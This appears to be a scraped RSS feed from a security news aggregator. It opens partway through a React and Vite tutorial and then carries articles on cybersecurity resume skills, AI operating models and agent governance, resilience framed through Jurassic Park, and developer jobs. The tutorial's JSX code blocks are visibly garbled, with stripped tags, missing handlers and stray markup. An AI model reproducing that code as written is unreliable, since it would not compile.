<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image4.png?w=1024" alt="A screenshot showing the Vite demo app built with React." class="wp-image-4116907" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">The demo app has a counter component like the one we built earlier. If you Ctrl-c (or Cmd-c) to kill the Vite process running in the terminal, you can <code>cd</code> into the new directory. From there, you can see where the counter component is defined, in <code>src/App.jsx</code> (or <code>App.tsx</code> if you have selected TypeScript like I have).</p>



<p class="wp-block-paragraph">It’s worth looking at that file to see how React appears on the server:</p>



<pre class="wp-block-code"><code>src/App.tsx
import { useState } from 'react'
import reactLogo from './assets/react.svg'
import viteLogo from '/vite.svg'
import './App.css'

function App() {
  const [count, setCount] = useState(0)

  return (
    
      <div>
        <a href="https://vite.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BviteLogo%7D" alt="Vite logo">
        </a>
        <a href="https://react.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BreactLogo%7D" alt="React logo">
        </a>
      </div>
      <h1>Vite + React</h1>
      <div>
        <button> setCount((count) =&gt; count + 1)}&gt;
          count is {count}
        </button>
        <p>
          Edit <code>src/App.tsx</code> and save to test HMR
        </p>
      </div>
      <p>
        Click on the Vite and React logos to learn more
      </p>
    &gt;
  )
}

export default App&lt;/code&gt;</code></pre>



<p class="wp-block-paragraph">Notice we export the App as a module, which is used by the <code>src/main.tsx</code> file to display the component in the view. That file creates the bridge between the respective worlds of React and HTML:</p>



<pre class="wp-block-code"><code>import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import './index.css'
import App from './App.tsx'

createRoot(document.getElementById('root')!).render(
  
    
  ,
)</code></pre>



<p class="wp-block-paragraph">Don’t worry too much about the details of how React bootstraps itself with <code>createRoot</code> and the <code>render</code> call (which you won’t have to interact with on a regular basis). The important thing is how the <code>App</code> component is imported and then used with the JSX.</p>



<p class="wp-block-paragraph"><strong>Note</strong></p>



<p class="wp-block-paragraph"><a href="https://react.dev/reference/react/StrictMode">Strict mode</a> adds warning during dev mode to help you catch component bugs early.</p>



<p class="wp-block-paragraph">There are a few rules to bear in mind when using JSX, the templating language of React:</p>



<ul class="wp-block-list">
<li>HTML elements are lowercase (<code><div>, <code></code>), but components are uppercase (<code></code>, <code></code>).



<li>You can’t just type “class” in JSX; instead, use <code>className</code>; e.g., <code><div>.



<li>To access the realm of JavaScript (and the application state) from within JSX, use curly braces: <code>{2 + 2 != 5}</code>.</li>




<h2 class="wp-block-heading">React components and props</h2>



<p class="wp-block-paragraph">The main organizational concept in React is the <em>component</em>. Components are used to contain the functionality for a part of the view within a self-contained package. We’ve seen a component in action already with <code></code> but it might be a little obscure, so let’s add another simple component to enhance the demonstration. This component also lets us explore another key part of React: Props.</p>



<p class="wp-block-paragraph">To start, let’s create a display of the counter value influenced by the Rob Reiner movie <em>This Is Spinal Tap</em>. To start, we create a new file at <code>src/VolumeDisplay.jsx</code>:</p>



<pre class="wp-block-code"><code>// src/VolumeDisplay.jsx

export function VolumeDisplay({ level }) {
  return (
    <div>
      {/* The Dial */}
      <div>= 11 ? '#d32f2f' : '#f0f0f0',
        color: level &gt;= 11 ? 'white' : 'black',
        transition: 'all 0.2s ease'
      }}&gt;
        {level}
      </div>

      {/* The Message */}
      {level &gt;= 11 &amp;&amp; (
        <p>
          "These go to eleven." 🤘
        </p>
      )}
    </div>
  );
}</code></pre>



<p class="wp-block-paragraph">This is a simple display but there are a couple of things worth noting about it.</p>



<p class="wp-block-paragraph">One is that we accept a prop (a property) “from above” with <code>VolumeDisplay({ level })</code>. This tells whatever parent component uses this one that <code>VolumeDisplay</code> accepts a single property, called <code>level</code>. <code>VolumeDisplay</code> uses the property by displaying it (though it adds a bit of fancying up using conditional logic like we have already seen).</p>



<p class="wp-block-paragraph">The way we define the CSS values, inside the double braces, <code>{{ }}</code>, and as a map of value is idiomatic React. (It isn’t essential at this point to grasp why it works that way, but basically, it is the JSX token <code>{ }</code> with a JavaScript map of CSS values using JavaScript-friendly camel-cased names, like <code>justifyContent</code>.)</p>



<p class="wp-block-paragraph">Now, to utilize this component, we can go to <code>App.jsx</code>, and make two changes:</p>



<pre class="wp-block-code"><code>import { useState } from 'react'
import reactLogo from './assets/react.svg'
import viteLogo from '/vite.svg'
import './App.css'
// 1. Import our new component
import { VolumeDisplay } from './VolumeDisplay'

function App() {
  const [count, setCount] = useState(0)

  return (
    
      <div>
        <a href="https://vite.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BviteLogo%7D" alt="Vite logo">
        </a>
        <a href="https://react.dev/" target="_blank">
          <img src="https://www.infoworld.com/article/2253289/%7BreactLogo%7D" alt="React logo">
        </a>
      </div>
      <h1>Vite + React</h1>
      <div>
        <button> setCount((count) =&gt; count + 1)}&gt;
          count is {count}
        </button>
        {/* 2. Pass the 'count' state into the 'level' prop */}
      
        <p>
          Edit <code>src/App.tsx</code> and save to test HMR
        </p>
      </div>
      <p>
        Click on the Vite and React logos to learn more
      </p>
    &gt;
  )
}

export default App&lt;/code&gt;</code></pre>



<p class="wp-block-paragraph">Here, we’ve done two things: imported the new component and used it in the view.</p>



<p class="wp-block-paragraph">Notice, also, that the <code></code> line passes the existing count state variable into <code>VolumeDisplay</code> as a prop. React will do the work of ensuring that whenever count changes, the <code>VolumeDisplay</code> will also be updated, including any dependent logic such as the conditional statements.</p>



<p class="wp-block-paragraph">Now, if we run the code like so:</p>



<pre class="wp-block-code"><code>$ npm run dev</code></pre>



<p class="wp-block-paragraph">We get what you see in the screenshot below:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/image5.png?w=1024" alt="A screenshot of the running demo app built with Vite and React." class="wp-image-4116908" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The world is now your oyster, at least within the realm of JavaScript web development. Not only is React wildly popular, its basic ideas are applicable to a host of other innovative frameworks, including <a href="https://www.infoworld.com/article/2265950/hands-on-with-svelte.html">Svelte</a> and <a href="https://www.infoworld.com/article/2271109/hands-on-with-the-solid-javascript-framework.html">Solid</a>. (To get some idea of the alternatives, just type <code>npm create vite@latest</code> and look at all the available technologies.) Now that you have a basic introduction, a good next step for learning would be to add an <code></code> control that allows typing in the volume manually. Happy coding!</p>
</div></code></li></div></code></li></ul></div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cybersecurity Skills for Resume: Top Skills to List]]></title>
<description><![CDATA[Securing a modern digital infrastructure requires a lot more than just knowing technical terms. Companies face constant attacks, which explains why employers increasingly screen resumes for cybersecurity capabilities. When you apply for a role, HR managers look for a specific balance. They expect...]]></description>
<link>https://tsecurity.de/de/3665381/it-security-nachrichten/cybersecurity-skills-for-resume-top-skills-to-list/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665381/it-security-nachrichten/cybersecurity-skills-for-resume-top-skills-to-list/</guid>
<pubDate>Mon, 13 Jul 2026 15:24:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://www.cm-alliance.com/cybersecurity-blog/cybersecurity-skills-for-resume-top-skills-to-list" title="" class="hs-featured-image-link"> <img src="https://www.cm-alliance.com/hubfs/Top_Cybersecurity_Skills_with_bgc.webp" alt="Top Cybersecurity Skills" class="hs-featured-image"> </a> 
</div> 
<p>Securing a modern digital infrastructure requires a lot more than just knowing technical terms. Companies face constant attacks, which explains why employers increasingly screen resumes for cybersecurity capabilities. When you apply for a role, HR managers look for a specific balance. They expect deep technical knowledge. They also want clear evidence that you can apply it under pressure. Adding the right cybersecurity skills for resume optimization means showing exactly how you solve practical problems.<br></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs must rethink operating models to unlock AI at scale]]></title>
<description><![CDATA[Almost every company has a board or executive AI mandate. Vendors are rolling out agentic AI platforms. The pressure to move is intense.



But the reality on the ground looks different. Eighty-three percent of organizations say data quality is their top AI challenge, and 74% struggle to demonstr...]]></description>
<link>https://tsecurity.de/de/3664901/it-nachrichten/cios-must-rethink-operating-models-to-unlock-ai-at-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664901/it-nachrichten/cios-must-rethink-operating-models-to-unlock-ai-at-scale/</guid>
<pubDate>Mon, 13 Jul 2026 12:17:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Almost every company has a <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">board or executive AI mandate</a>. Vendors are rolling out agentic AI platforms. The pressure to move is intense.</p>



<p>But the reality on the ground looks different. Eighty-three percent of organizations say <a href="https://www.cio.com/article/4162306/data-debt-ai-value-killer.html">data quality is their top AI challenge</a>, and 74% struggle to demonstrate ROI, according to Lopez Research. And only 21% report having a mature <a href="https://www.csoonline.com/article/4176485/the-ai-governance-imperative-you-cant-afford-to-ignore-2.html">governance model for AI agents</a>, per Deloitte’s <a href="https://www.deloitte.com/us/en/about/press-room/state-of-ai-report-2026.html" rel="nofollow">2026 State of Enterprise AI</a> report.</p>



<p>“Agentic AI is real, and vendors’ offerings are very real, too,” says <a href="https://www.forrester.com/analyst-bio/boris-evelson/BIO1737" rel="nofollow">Boris Evelson</a>, vice president and principal analyst at Forrester. “However, most enterprises are still not ready to adopt at scale.”</p>



<p><a href="https://www.westmonroe.com/our-team/david-hilborn" rel="nofollow">Dave Hilborn</a>, who leads West Monroe’s Organization, People &amp; Change practice, frames it as a race with three arrows moving forward — one representing AI and tech evolution, one representing organizations and people, and one representing data. “The AI arrow is far out ahead,” he says. “That delta is the readiness gap.”</p>



<p>The gap <a href="https://www.cio.com/article/4192383/its-not-the-it-holding-ai-back-its-the-business-processes.html">isn’t the technology</a>. It’s the foundational work most organizations haven’t done: data readiness, operating models, governance, skills, and culture. The companies making progress aren’t waiting for vendors to solve these problems. They’re tackling the unglamorous work themselves.</p>



<h2 class="wp-block-heading">AI doesn’t tolerate ambiguity</h2>



<p>AI readiness can be framed across six levels — from data foundation at the base to <a href="https://www.cio.com/article/4157466/cios-reimagine-business-processes-to-reap-ai-benefits.html">reinvented business experiences</a> at the top, says <a href="https://www.linkedin.com/in/afsheantalasaz/" rel="nofollow">Afshean Talasaz</a>, former CIO at Colonial Pipeline and now an executive advisor. One of the key areas that doesn’t always get the attention it needs is the operating model.<strong></strong></p>



<p>“The technology playbooks of the past don’t work in the AI world,” Talasaz says. “Those areas were able to tolerate more ambiguity between business and tech teams. AI doesn’t tolerate the same level of ambiguity. It needs clarity.”</p>



<p>That demands a different kind of partnership between IT and the business. AI systems learn from data — records and measurements of what’s actually happening in the business — and then operate within business processes. Unlike traditional software, which is built based on user requirements, AI is sandwiched between the business that produces the data and the business that consumes the outputs.</p>



<p>“AI is requiring IT and business teams to work more closely together, to be clearer about what AI will and will not do — that really close partnership is crucial,” Talasaz says. “It’s not something that will always naturally evolve. It requires a lot of intentionality about how teams need to work together to deliver outcomes.”</p>



<p>The <a href="https://www.cio.com/article/3801027/10-ai-strategy-questions-every-cio-must-answer.html">AI questions CIOs must answer</a> aren’t just technical. Do we have the right operating model? Have we balanced governance and standard operating procedures within the model? Have we organized teams appropriately? All this must be designed within the context of what the business actually needs.</p>



<p>Too many organizations are <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">bolting AI onto existing processes</a> without redefining roles or workflows, Forrester’s Evelson. “Organizations can either incrementally enhance existing workflows by augmenting capabilities with AI or pursue a more transformative approach by redesigning the process end-to-end.”</p>



<p>The companies getting value are doing the latter.</p>



<h2 class="wp-block-heading">Data debt comes due</h2>



<p>Data readiness remains the most common barrier to scaling AI. “We’ve never fixed this data quality problem in most organizations,” says <a href="https://www.lopezresearch.com/" rel="nofollow">Maribel Lopez</a>, founder and principal analyst at Lopez Research, “and it comes back to haunt a company in spades as they move to AI.”</p>



<p>At Levi Strauss, the foundational work came first. “If you think about the Levi’s business, it’s quite complex — 100 countries, over 3,000 stores, multiple business models,” says <a href="https://www.levistrauss.com/who-we-are/leadership/jason-gowans/" rel="nofollow">Jason Gowans</a>, the company’s chief digital and technology officer. “You can imagine the complexity of gathering all that data to understand how the business is performing. The idea of this single source of truth — that’s been the biggest thing.”</p>



<p>Levi’s now has more than 1,100 standard operating procedures that govern how work gets done on top of SAP. “That’s fertile material to feed to LLMs on how work gets done,” Gowans says.The results are tangible: partner onboarding that once took three to six months to set up EDI exchanges now takes days.</p>



<p>At contract manufacturing company Jabil, <a href="https://www.linkedin.com/in/chase-christensen-b0447/" rel="nofollow">Chase Christensen</a>, segment CIO, took a similar path. “We had to get everyone to understand where the source data resides, put tech in place so consumption is easier, and drive ownership around data and decision rights — so 140,000 employees don’t feel empowered to create their own data sources that fall out of line.”</p>



<p>The data challenge goes beyond quality, Evelson notes. <a href="https://www.cio.com/article/4104444/8-tips-for-rebuilding-an-ai-ready-data-strategy.html">Most organizations’ data isn’t AI-ready</a>; it hasn’t been prepared for how AI systems consume and learn from information. “Data is siloed, poorly governed, and hard to discover, integrate, and trust,” he says.</p>



<p>Forrester research shows that 45% of data and analytics decision-makers were adopting vector databases in 2025, and 53% were adopting graph databases — investments that signal recognition of how much data architecture needs to evolve. The firm recommends a balanced approach: roughly 48% of AI spending on foundations such as data management and engineering, and 52% on consumption, including analytics, governance, and applications.</p>



<p>But even as organizations work to prepare existing data, AI is creating new challenges. Users leveraging AI tools are generating new forms of data and information that never make it into corporate databases, West Monroe’s Hilborn notes.</p>



<p>“There are explosions of new data, content, and insights being created on the periphery of these data lakes,” he says. “The challenge is how do you capture that and leverage it.”</p>



<h2 class="wp-block-heading">Who’s sponsoring this?</h2>



<p>Even when data is in order, many AI initiatives stall due to how they’re sponsored and funded.</p>



<p>“Enterprise data, analytics, and AI programs succeed when business CxOs sponsor them because they are accountable for business outcomes, not just technology delivery,” Forrester’s Evelson says. “IT-led initiatives often become siloed or tool-centric, whereas business sponsorship ensures alignment to enterprise strategy, prioritization of end-to-end use cases, and a focus on decisions and actions rather than insights alone.”</p>



<p>Too often, AI is still treated as a series of disconnected use cases rather than a sustained, multi-year investment. Evelson calls this the “use case trap” — organizations overindex on individual projects and miss the enterprise-wide compounding impact. That leads to fragmented priorities, inconsistent adoption, and difficulty demonstrating ROI.</p>



<p>Leadership readiness is a distinct layer of AI preparedness, Talasaz says. “Are leaders prepared to provide a vision of reinvented business experiences that become the north star?” he asks. “Leadership teams, at various levels of the organization, need to articulate what a reinvented business looks like so teams have the direction and support to build differentiating capabilities.”</p>



<p>Levi’s offers a counterexample. AI is a CEO priority there. At the last quarterly offsite, the execs were building agents. “When you’re committed to upskilling the workforce, you’re better served to answer how to rewire processes with AI at the core,” Gowans says. “It starts at the top. It has to be an exec priority.”</p>



<h2 class="wp-block-heading">Fear, literacy, and two types of AI</h2>



<p>Technical talent is only part of the equation. Organizations also need to <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">address change management</a>.</p>



<p>“We saw it with the AI boom — fear about jobs, not knowing what AI did,” says Jabil’s Christensen. “The key is demystifying AI. We doubled down and focused on AI literacy. We want everyone to understand how it was put together, and that removed a lot of that fear. That’s been the biggest hurdle.”</p>



<p>Different types of AI require different skills and governance, Talasaz says. “General use focuses on productivity on the desktop,” he says. “Integrated AI — industrial-capable AI embedded within core business processes — requires different skills, capabilities, and governance.”</p>



<p>For desktop AI, training and guardrails help employees be successful — what Talasaz calls “bumpers,” like in bowling. Organizations need to <a href="https://www.cio.com/article/4117091/how-ai-upskilling-fails-and-what-it-leaders-are-doing-to-get-it-right.html">help employees through reskilling and guidance</a>. “You have tools in a toolbox,” he says. “It’s important to know when to use a power tool versus when you need a screwdriver.”</p>



<p>But for integrated AI embedded in core processes, the stakes are higher. “Business leaders responsible for business outcomes based on AI-driven processes need to be fully aware of both the benefits and risks that come along with using these tools,” Talasaz says.</p>



<p>That distinction matters for governance, too. Lower-, medium-, and high-risk AI use cases may require <a href="https://www.csoonline.com/article/4188573/rethinking-the-balance-between-ai-oversight-and-innovation.html">different ways of working and different risk management approaches</a>. “Deploying AI in potentially high-risk or high-cost areas of the business requires a higher level of rigor,” Talasaz says. “That’s different than building something that helps write my emails.”</p>



<h2 class="wp-block-heading">From POC to production</h2>



<p>Perhaps the biggest readiness gap is the transition <a href="https://www.cio.com/article/3850763/88-of-ai-pilots-fail-to-reach-production-but-thats-not-all-on-it.html">from proof of concept to production</a>. “It requires such a different approach,” Talasaz says. “A successful proof of concept can create a lot of excitement, but when teams are unprepared to build and scale, it can create the potential to over-promise and under-deliver.”</p>



<p>The operating model that works for experimentation doesn’t work for production at scale. Proofs of concept are designed to demonstrate the efficacy of ideas and the underlying technology. But building, scaling, and sustaining technology in the business requires operating models, standards, roles, and skills that many organizations haven’t developed. Intentionally designed operating models reduce the cost of learning, improve execution, and increase delivery velocity, says Talasaz.</p>



<p>But there’s no one-size-fits-all answer. “A business that needs to build capabilities in a marketplace moving very fast requires one kind of operating model,” Talasaz says. “A business that can take longer to develop business capabilities and adapt to market changes can choose a different operating model. It’s important to design ways of working tailored to what the business needs and the speed at which the business needs to leverage technology to be successful.”</p>



<p>Jabil is navigating this journey as part of its move to SAP’s cloud ERP through RISE, scaling from $29 billion to $34 billion in revenue while keeping selling, general, and administrative (SG&amp;A) expenses relatively flat — in part by layering generative AI onto predictive analytics capabilities built over years.</p>



<p>“We started years ago with computer vision to drive product quality,” Christensen says. “As gen AI blew up, we took the predictive analytics we had <a href="https://www.cio.com/article/193580/upskilling-transforms-jabil-employees-into-data-scientists.html">built over the years</a> and imbued them with gen AI. We’ve implemented the basics, and now we’re looking for complex scenarios.”</p>



<h2 class="wp-block-heading">Governance built in, not bolted on</h2>



<p>Governance is often treated as a policy document or committee. It should be embedded in the operating model itself, Talasaz argues.</p>



<p>“The operating model doesn’t always get the attention it needs,” he says. “Policies and committees are useful, but they should handle larger enterprise risks. Most of the governance should be embedded in the operating model to ensure you’re getting outcomes you want.”</p>



<p>That might mean peer review built into the development process, bias checks before deployment, or clear escalation paths for high-risk use cases. When governance is separate from the operating model, it tends to slow things down. When it’s integrated, it becomes how work naturally gets done, says Talasaz.</p>



<p>Governance at the agent level matters, too, Levi’s Gowans says. “Know what agents have been deployed, who authored them, and who’s responsible,” he says, noting that the company has established a registry to understand what agents it has operating within its networks.</p>



<p>The challenges of AI governance are unique, Lopez of Lopez Research says. “Very few people have the governance stack required to say they did the right things with AI,” she says. “<a href="https://www.csoonline.com/article/2132294/what-are-non-human-identities-and-why-do-they-matter.html">Non-human identity</a> and access control is totally different and, frankly, evolving so quickly that no one knows what to do.”</p>



<p>The challenge is ultimately a trade-off, Forrester’s Evelson says. “Push agentic AI capabilities too far, and you risk creating a governance and compliance nightmare,” he says. “Tighten controls too aggressively, and you stifle innovation. Best practices for <a href="https://www.cio.com/article/4188566/cios-rethink-the-balance-between-ai-oversight-and-innovation.html">striking the right balance</a> are still being discovered.”</p>



<h2 class="wp-block-heading">It takes a team</h2>



<p>The AI readiness gap isn’t about technology — it’s about the work organizations have been deferring for years. Data quality. Operating models. Executive sponsorship. Skills and culture. Governance embedded in process.</p>



<p>“Once you progress from everyone using Copilot to putting agents in production, then you realize the need for business context,” Gowans of Levi Strauss says.</p>



<p>It’s a shared journey requiring all teams to understand what’s required, Talasaz says. “It involves helping people understand what it takes from all sides — the technology itself, the operating model, the skills and talents needed — but also working with business leaders on the art of the possible,” he says. “Helping them understand both the benefits and the responsibility of deploying this tech.”</p>



<p>A colleague of his calls AI “the ultimate executive team sport.”</p>



<p>“It requires people to do it well and manage it,” Talasaz says.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Jurassic Park, cybersecurity and the dangerous myth of control]]></title>
<description><![CDATA[Jurassic Park wasn’t really about dinosaurs.



It was about arrogant people building systems they believed were controllable.



“Life finds a way” is probably the most famous line from the entire franchise. Ian Malcolm’s warning that no matter how sophisticated the technology becomes, no matter...]]></description>
<link>https://tsecurity.de/de/3664863/it-security-nachrichten/jurassic-park-cybersecurity-and-the-dangerous-myth-of-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664863/it-security-nachrichten/jurassic-park-cybersecurity-and-the-dangerous-myth-of-control/</guid>
<pubDate>Mon, 13 Jul 2026 12:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Jurassic Park wasn’t really about dinosaurs.</p>



<p>It was about arrogant people building systems they believed were controllable.</p>



<p>“Life finds a way” is probably the most famous line from the entire franchise. Ian Malcolm’s warning that no matter how sophisticated the technology becomes, no matter how expensive the fences are, and no matter how confident the operators feel, nature eventually escapes containment.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>And in every movie, it does.</p>



<p>The dinosaurs always get out. The systems fail. Eventually, the humans lose control.</p>



<p>What makes Jurassic Park fascinating is that despite advanced monitoring, complex containment systems and sophisticated operational controls, the outcome never really changes. At its core, the story is about people mistaking visibility for control.</p>



<p>Cybersecurity has the same problem.</p>



<p>For years, security teams have operated under the assumption that with enough tooling, governance, process, maturity and spend, we can build environments that are effectively secure. Maybe not perfect, but secure enough that compromise becomes rare and manageable.</p>



<p>But attackers find a way.</p>



<p>Given enough time, skill or motivation, they eventually identify the weakness nobody considered. The overlooked privilege. The dependency nobody mapped. The misconfiguration hiding behind layers of dashboards, process, and compliance reporting.</p>



<p>We are already seeing this play out. Nation-state attacks are becoming increasingly sophisticated, while AI-driven exploit discovery is beginning to compress vulnerability research from weeks into minutes.</p>



<p>The raptors are learning faster now.</p>



<h2 class="wp-block-heading">Mistaking visibility for control</h2>



<p>That does not mean prevention no longer matters. The fences in Jurassic Park still slowed the dinosaurs down. They created friction. They reduced exposure. Modern security controls do the same thing.</p>



<p>But the failure in Jurassic Park was never simply that the fences broke.</p>



<p>It was that the entire system assumed the fences represented certainty.</p>



<p>Cybersecurity often makes the same mistake.</p>



<p>The industry has become incredibly good at demonstrating preparedness in controlled environments. Dashboards. Compliance reports. Tabletop exercises. RTO metrics. Recovery attestations.</p>



<p>Jurassic Park had dashboards too.</p>



<p>The problem is that <a href="https://www.csoonline.com/article/4157486/cisos-tackle-the-ai-visibility-gap.html">visibility is often mistaken for survivability</a>. Organizations can prove they monitored the environment, documented the process, and ran the exercise, while still having very little confidence that the business could continue operating during a genuine systemic failure.</p>



<p>Most organizations still operate with an implicit belief that compromise is exceptional rather than inevitable. Disaster recovery plans, business continuity workshops, and annual tabletop exercises are treated as evidence of resilience. In reality, many of them are carefully controlled simulations of a world that no longer exists.</p>



<p>Traditional disaster recovery was designed for an era where infrastructure changed slowly, applications were relatively static, and dependencies were limited enough that recovery assumptions could remain valid for months or even years.</p>



<p>That world is gone. AI killed it.</p>



<p>Environments now evolve constantly. Cloud infrastructure changes daily. AI-assisted development accelerates release cycles. Applications rely on sprawling third-party ecosystems. APIs connect systems in ways many organizations do not fully understand. Entire workloads appear and disappear dynamically.</p>



<p>The environment you tested last quarter may no longer exist today.</p>



<p>And yet many resilience programs still operate as if annual or quarterly testing provides meaningful confidence.</p>



<p>Most companies do not really test resilience.</p>



<p>They test optimism.</p>



<h2 class="wp-block-heading">The backup fallacy</h2>



<p>And nowhere is this overconfidence more obvious than <a href="https://www.csoonline.com/backup-recovery/">backups</a>.</p>



<p>Somewhere along the way, organizations confused “having backups” with “being resilient.” Those are not remotely the same thing.</p>



<p>A backup simply proves you stored a copy of something at a specific point in time. It does not prove you can survive.</p>



<p>Most recovery models were designed in the late 90s and early 2000s for relatively static systems and predictable infrastructure. The core philosophy has barely evolved since then, even as environments have become increasingly distributed, ephemeral, and interconnected.</p>



<p>Restoring data is not the same as restoring operations.</p>



<p>Restoring infrastructure is not the same as restoring business functionality. Modern application are complex and rely on ephemeral elements, third party components and applications as well as complex data flows not just data sets.</p>



<p>Very few organizations continuously validate whether they can recover full feature-function applications, maintain operational workflows, preserve data integrity, reconnect dependencies, restore permissions correctly, or continue operating under active attack conditions.</p>



<p>We built incredibly sophisticated telemetry for understanding how we die.</p>



<p>We built almost none for proving we can survive.</p>



<p>That gap is becoming impossible to ignore.</p>



<p>The recent rise of continuous resilience testing and recovery validation is not accidental. It reflects a growing realization that recovery assumptions themselves may no longer be trustworthy.</p>



<p>Static resilience models are struggling to survive dynamic infrastructure.</p>



<p>This is where resilience starts becoming an engineering problem rather than a compliance exercise.</p>



<h2 class="wp-block-heading">When restoration assumptions fail</h2>



<p>Because the real question is no longer, “How quickly can we restore the application?”</p>



<p>The real question is, “What happens if we cannot restore it?”</p>



<p>Jurassic Park repeatedly explored exactly this scenario. The real panic never started when the fences failed. It started when the operators realized they could not regain control quickly enough.</p>



<p>Businesses now face the same risk.</p>



<p>What happens if AWS experiences a prolonged outage? What happens if <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.html">Azure Identity Services fail</a> globally? What happens if Stripe, Salesforce, Slack, or Microsoft 365 disappear for days rather than hours?</p>



<p>Many organizations do not actually have business continuity strategies for those situations.</p>



<p>They have restoration assumptions.</p>



<p>Twenty years ago, most organizations directly owned large portions of their operational stack. Today, companies increasingly rent critical business capability from a relatively small number of providers.</p>



<p>Identity. Infrastructure. Communications. Payments. Collaboration. Customer operations.</p>



<p>The efficiency gains are enormous.</p>



<p>So is the concentration risk.</p>



<h2 class="wp-block-heading">Resilience as an engineering discipline</h2>



<p>Historically, business continuity planning assumed localized disruption. A building burned down. A regional data center failed. A storm impacted an office. The internet itself was not the dependency.</p>



<p>Today, entire businesses are built on tightly interconnected SaaS and cloud ecosystems where operational survivability depends on third parties remaining continuously available.</p>



<p>We optimized organizations for efficiency, automation, integration, and scale.</p>



<p>Not necessarily survivability.</p>



<p>That is why resilience needs to evolve beyond annual tabletop exercises and static recovery plans.</p>



<p>True resilience is not a binder sitting on a shelf. It is not a workshop performed once a year. It is not a recovery document written against an environment that changed six months ago.</p>



<p>It is a continuous understanding of the environment itself.</p>



<p>It requires live telemetry, operational visibility, dependency awareness, continuous validation, and the ability to adapt under changing conditions.</p>



<h2 class="wp-block-heading">Adapting to chaos</h2>



<p>The survivors in Jurassic Park only succeeded once they stopped pretending the environment was fully controllable and instead adapted to the reality in front of them.</p>



<p>Cybersecurity needs to make the same shift.</p>



<p>Attackers will keep adapting.</p>



<p>AI will accelerate faster than most governance models can handle.</p>



<p>Complexity will continue to outpace our assumptions about control.</p>



<p>The organizations that survive will not necessarily be the ones with the tallest fences. They will be the ones who understand their environments deeply enough to continue operating when control is lost.</p>



<p>The goal was never to eliminate chaos.</p>



<p>It was to survive long enough to adapt to it.</p>



<p>Because resilience is not about preventing chaos.</p>



<p>It is about operating through it.</p>



<p>Because eventually, one way or another, life finds a way.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.csoonline.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Where the software development jobs are now]]></title>
<description><![CDATA[While many technology companies have slowed hiring or even launched significant layoffs, that doesn’t mean job opportunities have dried up for software developers. In fact, skilled developers—particularly those with knowledge of AI—are in demand in other industries.



The key to success for deve...]]></description>
<link>https://tsecurity.de/de/3664782/ai-nachrichten/where-the-software-development-jobs-are-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664782/ai-nachrichten/where-the-software-development-jobs-are-now/</guid>
<pubDate>Mon, 13 Jul 2026 11:33:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>While many technology companies have slowed hiring or even launched <a href="https://www.trueup.io/layoffs" data-type="link" data-id="https://www.trueup.io/layoffs">significant layoffs</a>, that doesn’t mean job opportunities have dried up for software developers. In fact, skilled developers—particularly those with <a href="https://www.infoworld.com/article/4025073/9-ai-development-skills-tech-companies-want.html" data-type="link" data-id="https://www.infoworld.com/article/4025073/9-ai-development-skills-tech-companies-want.html">knowledge of AI</a>—are in demand in other industries.</p>



<p>The key to success for developers looking to snatch up these roles is to be well-prepared to meet the needs of potential employers in a variety of sectors.</p>



